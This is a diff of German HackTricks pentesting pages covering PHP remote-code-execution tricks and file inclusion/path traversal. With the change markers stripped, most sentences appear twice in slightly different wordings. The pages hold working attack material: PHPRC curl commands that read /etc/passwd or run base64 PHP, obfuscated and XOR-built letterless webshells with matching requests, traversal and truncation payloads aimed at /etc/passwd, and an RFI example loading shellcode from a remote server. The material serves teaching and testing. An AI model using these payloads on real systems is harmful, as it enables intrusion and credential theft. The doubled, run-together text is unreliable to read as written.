* `?order=id));}//`: Wir erhalten eine Fehlermeldung (`Parse error: syntax error, unexpected ')' i`). Wahrscheinlich haben wir zu viele schließende Klammern.
### **RCE über .httaccess**
Wenn Sie eine **.htaccess**-Datei **hochladen** können, können Sie verschiedene Dinge konfigurieren und sogar Code ausführen (indem Sie festlegen, dass Dateien mit der Erweiterung .htaccess **ausgeführt** werden können).
Wenn Sie eine **.htaccess** **hochladen** können, können Sie mehrere Dinge **konfigurieren** und sogar Code ausführen (Konfigurieren von Dateien mit der Erweiterung .htaccess, die **ausgeführt** werden können).
Verschiedene .htaccess-Shells finden Sie [hier](https://github.com/wireghoul/htshells)
### RCE über Umgebungsvariablen
Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP zu ändern** (und eine weitere, um Dateien hochzuladen, obwohl dies möglicherweise umgangen werden kann), können Sie dieses Verhalten missbrauchen, um **RCE** zu erhalten.
Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP zu ändern** (und eine weitere zum Hochladen von Dateien, obwohl dies möglicherweise mit weiteren Recherchen umgangen werden kann), könnten Sie dieses Verhalten missbrauchen, um **RCE** zu erhalten.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Diese Umgebungsvariable ermöglicht das Laden beliebiger Bibliotheken beim Ausführen anderer Binärdateien (obwohl dies in diesem Fall möglicherweise nicht funktioniert).
* **`PHPRC`** : Gibt PHP an, **wo sich seine Konfigurationsdatei** befindet, normalerweise `php.ini` genannt. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen Eintrag **`auto_prepend_file`** hinzu, der auf eine zweite hochgeladene Datei verweist. Diese zweite Datei enthält normalen **PHP-Code, der dann** vom PHP-Laufzeitmodul vor jedem anderen Code ausgeführt wird.
1. Laden Sie eine PHP-Datei hoch, die unseren Shellcode enthält.
2. Laden Sie eine zweite Datei hoch, die eine **`auto_prepend_file`**-Anweisung enthält, die den PHP-Präprozessor anweist, die Datei, die wir in Schritt 1 hochgeladen haben, auszuführen.
3. Setzen Sie die Variable `PHPRC` auf die Datei, die wir in Schritt 2 hochgeladen haben.
* Weitere Informationen zur Ausführung dieser Kette finden Sie im [**ursprünglichen Bericht**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **`PHPRC`** : Weist PHP an, **wo seine Konfigurationsdatei** zu finden ist, normalerweise `php.ini` genannt. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen **`auto_prepend_file`** Eintrag hinzu, der eine zweite hochgeladene Datei angibt. Diese zweite Datei enthält normalen **PHP-Code, der dann vom PHP-Laufzeitumgebung vor jedem anderen Code ausgeführt wird**.
1. Laden Sie eine PHP-Datei hoch, die unseren Shellcode enthält
2. Laden Sie eine zweite Datei hoch, die eine **`auto_prepend_file`**-Anweisung enthält, die den PHP-Präprozessor anweist, die Datei auszuführen, die wir im ersten Schritt hochgeladen haben
3. Setzen Sie die Variable `PHPRC` auf die Datei, die wir im zweiten Schritt hochgeladen haben.
* Erhalten Sie weitere Informationen zur Ausführung dieser Kette [**aus dem Originalbericht**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - eine weitere Option
* Wenn Sie **keine Dateien hochladen können**, können Sie in FreeBSD die Datei "/dev/fd/0" verwenden, die den **`stdin`** enthält, der den **Body** der Anfrage enthält, der an den `stdin` gesendet wird:
* Wenn Sie **keine Dateien hochladen können**, könnten Sie in FreeBSD die "Datei" `/dev/fd/0` verwenden, die den **`stdin`** enthält, der den **Body** der Anfrage darstellt, die an den `stdin` gesendet wurde:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* Oder um RCE zu erhalten, aktivieren Sie **`allow_url_include`** und fügen Sie eine Datei mit **base64 PHP-Code** hinzu:
* Oder um RCE zu erhalten, aktivieren Sie **`allow_url_include`** und fügen Sie eine Datei mit **base64 PHP-Code** voran:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* Technik [**aus diesem Bericht**](https://vulncheck.com/blog/juniper-cve-2023-36845).
## Statische Analyse von PHP
## PHP Statische Analyse
Überprüfen Sie, ob Sie Code in Aufrufe dieser Funktionen einfügen können (von [hier](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
Schauen Sie, ob Sie Code in Aufrufe dieser Funktionen einfügen können (von [hier](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Wenn Sie eine PHP-Anwendung debuggen, können Sie das Anzeigen von Fehlern global in `/etc/php5/apache2/php.ini` aktivieren, indem Sie `display_errors = On` hinzufügen und Apache neu starten: `sudo systemctl restart apache2`
Wenn Sie eine PHP-Anwendung debuggen, können Sie das Fehlerdrucken global in `/etc/php5/apache2/php.ini` aktivieren, indem Sie `display_errors = On` hinzufügen und Apache neu starten: `sudo systemctl restart apache2`
### Entschlüsselung von PHP-Code
### Entschleierung von PHP-Code
Sie können die Website [www.unphp.net](http://www.unphp.net) verwenden, um PHP-Code zu entschlüsseln.
Sie können die **Webseite** [**www.unphp.net**](http://www.unphp.net) **verwenden, um PHP-Code zu entschlüsseln.**
## PHP-Wrappers und Protokolle
## PHP-Wrapper & Protokolle
PHP-Wrappers und Protokolle können es Ihnen ermöglichen, Schreib- und Leseschutz in einem System zu umgehen und es zu kompromittieren. Weitere Informationen finden Sie auf [dieser Seite](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
PHP-Wrapper und Protokolle könnten es Ihnen ermöglichen, **Schreib- und Leseschutzmechanismen zu umgehen** und das System zu kompromittieren. Für [**weitere Informationen besuchen Sie diese Seite**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug unauthentifizierte RCE
## Xdebug nicht authentifizierter RCE
Wenn Sie feststellen, dass Xdebug in einer `phpconfig()`-Ausgabe aktiviert ist, sollten Sie versuchen, RCE über [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) zu erhalten.
Wenn Sie sehen, dass **Xdebug** in einer `phpconfig()`-Ausgabe **aktiviert** ist, sollten Sie versuchen, RCE über [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) zu erhalten.
## Variable Variablen
```php
@ -315,11 +301,11 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE durch Missbrauch von $\_GET\["a"]\($\_GET\["b"])
## RCE Missbrauch von neuem $\_GET\["a"]\($\_GET\["b"])
Wenn Sie auf einer Seite **ein neues Objekt einer beliebigen Klasse erstellen** können, können Sie möglicherweise RCE erlangen. Überprüfen Sie die folgende Seite, um mehr zu erfahren:
Wenn Sie auf einer Seite **ein neues Objekt einer beliebigen Klasse erstellen können**, könnten Sie RCE erhalten. Überprüfen Sie die folgende Seite, um zu erfahren, wie:
{% content-ref url="php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md" %}
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}
@ -333,13 +319,7 @@ $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #syst
```
### **XOR**
Die XOR-Operation (Exclusive OR) ist eine logische Operation, die auf zwei binären Eingaben durchgeführt wird. Das Ergebnis ist 1, wenn die beiden Eingaben unterschiedlich sind, andernfalls ist das Ergebnis 0.
In der Kryptographie wird XOR häufig verwendet, um Daten zu verschlüsseln und zu entschlüsseln. Durch Anwendung der XOR-Operation auf die Daten und einen Schlüssel wird eine Verschlüsselung erzeugt. Um die Daten wiederherzustellen, wird erneut die XOR-Operation auf die verschlüsselten Daten und den gleichen Schlüssel angewendet.
XOR kann auch in der Programmierung verwendet werden, um bestimmte Aufgaben zu erfüllen, wie zum Beispiel das Umkehren von Bits oder das Erzeugen von Prüfsummen.
Die XOR-Operation ist eine wichtige Technik in der Welt des Hackings, da sie in verschiedenen Angriffsszenarien verwendet werden kann, wie zum Beispiel bei der Analyse von verschlüsselten Daten oder beim Umgehen von Sicherheitsmechanismen.
XOR (exklusives Oder) ist eine Bitweise Operation, die in der Kryptographie und beim Hacking häufig verwendet wird. Es wird verwendet, um Daten zu verschlüsseln und zu entschlüsseln, indem ein Schlüssel auf die Daten angewendet wird. XOR ist nützlich, da es eine einfache Möglichkeit bietet, Daten zu verschleiern, ohne sie tatsächlich zu verschlüsseln.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
@ -348,14 +328,14 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR einfacher Shell-Code
Laut [**diesem Bericht**](https://mgp25.com/ctf/Web-challenge/) ist es möglich, auf einfache Weise einen Shell-Code zu generieren, indem man Folgendes tut:
Gemäß [**diesem Bericht**](https://mgp25.com/ctf/Web-challenge/) ist es auf folgende Weise möglich, einen einfachen Shellcode zu generieren:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
So, wenn Sie **beliebigen PHP-Code ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diesen Payload zu missbrauchen und beliebigen PHP-Code auszuführen:
So, wenn Sie **beliebiges PHP ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diesen Payload zu missbrauchen und beliebiges PHP auszuführen:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
@ -384,59 +364,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perl-ähnlich
Perl ist eine weit verbreitete Skriptsprache, die für ihre leistungsstarke Textverarbeitungsfähigkeiten bekannt ist. In diesem Abschnitt werden einige Perl-ähnliche Funktionen und Techniken in PHP vorgestellt, die Ihnen helfen können, Ihre Webanwendungen effizienter zu entwickeln.
#### Reguläre Ausdrücke
Reguläre Ausdrücke sind ein leistungsstarkes Werkzeug zur Mustererkennung und Textmanipulation. In PHP können Sie reguläre Ausdrücke mit der `preg_match()`-Funktion verwenden. Hier ist ein Beispiel, wie Sie eine Telefonnummer aus einem Text extrahieren können:
```php
$text = "Meine Telefonnummer ist 123-456-7890";
$pattern = "/\d{3}-\d{3}-\d{4}/";
preg_match($pattern, $text, $matches);
$phone_number = $matches[0];
```
#### String-Manipulation
PHP bietet eine Vielzahl von Funktionen zur Manipulation von Zeichenketten. Hier sind einige Beispiele:
- `strlen()`: Gibt die Länge einer Zeichenkette zurück.
- `strpos()`: Sucht nach dem ersten Vorkommen eines Substrings in einer Zeichenkette.
- `str_replace()`: Ersetzt alle Vorkommen eines Substrings in einer Zeichenkette.
- `strtolower()`: Konvertiert eine Zeichenkette in Kleinbuchstaben.
- `strtoupper()`: Konvertiert eine Zeichenkette in Großbuchstaben.
#### Dateioperationen
PHP bietet auch Funktionen zum Lesen und Schreiben von Dateien. Hier sind einige Beispiele:
- `file_get_contents()`: Liest den Inhalt einer Datei in eine Zeichenkette.
- `file_put_contents()`: Schreibt eine Zeichenkette in eine Datei.
- `file_exists()`: Überprüft, ob eine Datei existiert.
- `unlink()`: Löscht eine Datei.
#### Systembefehle ausführen
Mit der `exec()`-Funktion können Sie Systembefehle direkt von PHP ausführen. Hier ist ein Beispiel:
```php
$command = "ls -l";
$output = exec($command);
echo $output;
```
#### Datenbankzugriff
PHP bietet verschiedene Funktionen zum Arbeiten mit Datenbanken. Hier sind einige Beispiele:
- `mysqli_connect()`: Stellt eine Verbindung zu einer MySQL-Datenbank her.
- `mysqli_query()`: Führt eine SQL-Abfrage auf der Datenbank aus.
- `mysqli_fetch_assoc()`: Ruft eine Zeile aus dem Abfrageergebnis als assoziatives Array ab.
Diese Perl-ähnlichen Funktionen und Techniken können Ihnen helfen, Ihre PHP-Webanwendungen effizienter zu entwickeln und komplexe Aufgaben zu automatisieren.
### Ähnlich wie Perl
```php
<?php
$_=[];
@ -476,14 +404,14 @@ $___($_[_]); // ASSERT($_POST[_]);
```
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
</details>

344
pentesting-web/file-inclusion/README.md
View file

@ -1,44 +1,44 @@
# Datei-Inklusion/Pfadüberschreitung
# Dateiinklusion/Pfadtraversierung
<details>
<summary>Lernen Sie das Hacken von AWS von Grund auf mit <a href="https://training.hacktricks.xyz/courses/arte">htARTE (HackTricks AWS Red Team Expert)</a>!</summary>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
- Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks- und HackTricks Cloud-GitHub-Repositories senden
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Treten Sie dem HackenProof-Discord-Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Insights**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
**Hacking-Einblicke**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
**Echtzeit-Hack-News**\
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden
**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.
Bleiben Sie über die neuesten Bug-Bounties und wichtigen Plattformupdates informiert
**Treten Sie uns auf Discord bei** und arbeiten Sie noch heute mit Top-Hackern zusammen!
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!
## Datei-Inklusion
## Dateiinklusion
**Remote File Inclusion (RFI):** Die Datei wird von einem entfernten Server geladen (am besten: Sie können den Code schreiben und der Server wird ihn ausführen). In PHP ist dies standardmäßig **deaktiviert** (**allow\_url\_include**).\
**Local File Inclusion (LFI):** Der Server lädt eine lokale Datei.
**Remote-Dateiinklusion (RFI):** Die Datei wird von einem entfernten Server geladen (Am besten: Sie können den Code schreiben und der Server wird ihn ausführen). In PHP ist dies standardmäßig **deaktiviert** (**allow\_url\_include**).\
**Lokale Dateiinklusion (LFI):** Der Server lädt eine lokale Datei.
Die Schwachstelle tritt auf, wenn der Benutzer die Datei, die vom Server geladen werden soll, auf irgendeine Weise kontrollieren kann.
Die Verwundbarkeit tritt auf, wenn der Benutzer auf irgendeine Weise die Datei steuern kann, die vom Server geladen wird.
Anfällige **PHP-Funktionen**: require, require\_once, include, include\_once
Verwundbare **PHP-Funktionen**: require, require\_once, include, include\_once
Ein interessantes Tool, um diese Schwachstelle auszunutzen: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Ein interessantes Tool zur Ausnutzung dieser Verwundbarkeit: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interessante - LFI2RCE-Dateien
```python
@ -53,7 +53,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
Versuchen Sie auch, `/` durch `\` zu ersetzen.\
Versuchen Sie auch, `../../../../../` hinzuzufügen.
Eine Liste, die verschiedene Techniken verwendet, um die Datei /etc/password (um zu überprüfen, ob die Schwachstelle vorhanden ist) zu finden, finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt).
Eine Liste, die verschiedene Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle vorhanden ist), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
@ -64,7 +64,7 @@ Zusammenführung verschiedener Wortlisten:
Versuchen Sie auch, `/` durch `\` zu ersetzen.\
Versuchen Sie auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen.
Eine Liste, die verschiedene Techniken verwendet, um die Datei /boot.ini (um zu überprüfen, ob die Schwachstelle vorhanden ist) zu finden, finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt).
Eine Liste, die verschiedene Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle vorhanden ist), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
@ -72,32 +72,23 @@ Eine Liste, die verschiedene Techniken verwendet, um die Datei /boot.ini (um zu
## Grundlegende LFI und Umgehungen
Alle Beispiele gelten für Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
Alle Beispiele sind für Local File Inclusion, könnten aber auch auf Remote File Inclusion angewendet werden (Seite=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
```
http://example.com/index.php?page=../../../etc/passwd
```
### Nicht-rekursiv bereinigte Traversierungssequenzen
Eine nicht-rekursive Methode zur Bereinigung von Traversierungssequenzen besteht darin, die Sequenz schrittweise zu bereinigen, indem alle Vorkommen von "../" entfernt werden. Dieser Ansatz entfernt die Sequenzschritte, die auf den übergeordneten Verzeichnissen verweisen, und ermöglicht es uns, eine gültige Pfadsequenz beizubehalten.
Um dies zu erreichen, können wir die folgenden Schritte ausführen:
1. Ersetzen Sie alle Vorkommen von "../" in der Sequenz durch eine leere Zeichenkette.
2. Wiederholen Sie den vorherigen Schritt, bis keine weiteren Vorkommen von "../" in der Sequenz vorhanden sind.
Auf diese Weise können wir die Traversierungssequenz bereinigen und sicherstellen, dass sie keine Verweise auf übergeordnete Verzeichnisse enthält.
### Traversalsequenzen ohne rekursive Entfernung
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null Byte (%00)**
### **Null-Byte (%00)**
Umgehe das Anhängen weiterer Zeichen am Ende des bereitgestellten Strings (Umgehung von: $\_GET\['param']."php")
Umgehen Sie das Anhängen weiterer Zeichen am Ende des bereitgestellten Strings (Umgehung von: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Dies ist seit PHP 5.4 **gelöst**.
Dies ist **seit PHP 5.4 gelöst**
### **Codierung**
@ -116,41 +107,36 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Erkunden von Dateisystemverzeichnissen auf einem Server
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess beinhaltet die Bestimmung der Verzeichnistiefe und das Überprüfen auf das Vorhandensein bestimmter Ordner. Im Folgenden wird eine detaillierte Methode zur Erreichung dieses Ziels beschrieben:
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess beinhaltet das Bestimmen der Verzeichnistiefe und das Überprüfen der Existenz bestimmter Ordner. Im Folgenden wird eine detaillierte Methode zur Erreichung dieses Ziels beschrieben:
1. **Bestimmen der Verzeichnistiefe:**
Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei `/etc/passwd` abrufen (gilt, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein und eine Tiefe von drei anzeigen:
1. **Bestimmen der Verzeichnistiefe:** Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei `/etc/passwd` abrufen (falls der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein und eine Tiefe von drei anzeigen:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Ordner sondieren:**
Fügen Sie den Namen des verdächtigen Ordners (z. B. `private`) zur URL hinzu und navigieren Sie dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnisebene erfordert eine Erhöhung der Tiefe um eins:
2. **Ordner überprüfen:** Hängen Sie den Namen des verdächtigten Ordners (z. B. `private`) an die URL an und navigieren Sie dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnisebene erfordert eine Erhöhung der Tiefe um eins:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpretieren der Ergebnisse:**
Die Antwort des Servers gibt an, ob der Ordner existiert:
- **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an der angegebenen Stelle.
- **Inhalt von `/etc/passwd`:** Die Existenz des Ordners `private` wird bestätigt.
3. **Interpretiere die Ergebnisse:** Die Antwort des Servers zeigt an, ob der Ordner existiert:
* **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an der angegebenen Stelle.
* **Inhalt von `/etc/passwd`:** Die Existenz des Ordners `private` wird bestätigt.
4. **Rekursive Erkundung:** Entdeckte Ordner können weiterhin auf Unterordner oder Dateien mit derselben Technik oder traditionellen Methoden zur lokalen Dateieinbindung (LFI) überprüft werden.
4. **Rekursive Erkundung:**
Entdeckte Ordner können mithilfe derselben Technik oder traditionellen Methoden zur lokalen Dateieinbindung (LFI) weiter untersucht werden.
Um Verzeichnisse an verschiedenen Speicherorten im Dateisystem zu erkunden, passen Sie die Nutzlast entsprechend an. Um beispielsweise zu überprüfen, ob `/var/www/` ein Verzeichnis `private` enthält (unter der Annahme, dass sich das aktuelle Verzeichnis in einer Tiefe von 3 befindet), verwenden Sie:
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passe das Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein Verzeichnis `private` enthält (unter der Annahme, dass sich der aktuelle Ordner in einer Tiefe von 3 befindet), verwende:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Pfadverkürzungstechnik**
### **Pfadkürzungstechnik**
Die Pfadverkürzung ist eine Methode, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig verwendet, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende der Dateipfade anhängen. Das Ziel besteht darin, einen Dateipfad zu erstellen, der, einmal von der Sicherheitsmaßnahme verändert, immer noch auf die gewünschte Datei verweist.
Die Pfadkürzung ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Oft wird sie eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel besteht darin, einen Dateipfad zu erstellen, der, einmal durch die Sicherheitsmaßnahme verändert, immer noch auf die gewünschte Datei zeigt.
In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Natur des Dateisystems als äquivalent betrachtet werden. Zum Beispiel:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` und `/etc/passwd/` werden alle als derselbe Pfad behandelt.
- Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (zu `passwd/`) die Zieldatei nicht.
- Ebenso wird das Hinzufügen von `.php` zu einem Dateipfad (wie `shellcode.php`) durch das Hinzufügen von `/.` am Ende nicht verändert.
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` und `/etc/passwd/` werden alle als derselbe Pfad behandelt.
* Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (was `passwd/` ergibt) nicht die angepeilte Datei.
* Ebenso wird, wenn `.php` an einen Dateipfad angehängt wird (wie `shellcode.php`), das Hinzufügen von `/.` am Ende die aufgerufene Datei nicht verändern.
Die bereitgestellten Beispiele zeigen, wie die Pfadverkürzung genutzt werden kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
Die bereitgestellten Beispiele zeigen, wie die Pfadkürzung genutzt werden kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -160,20 +146,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
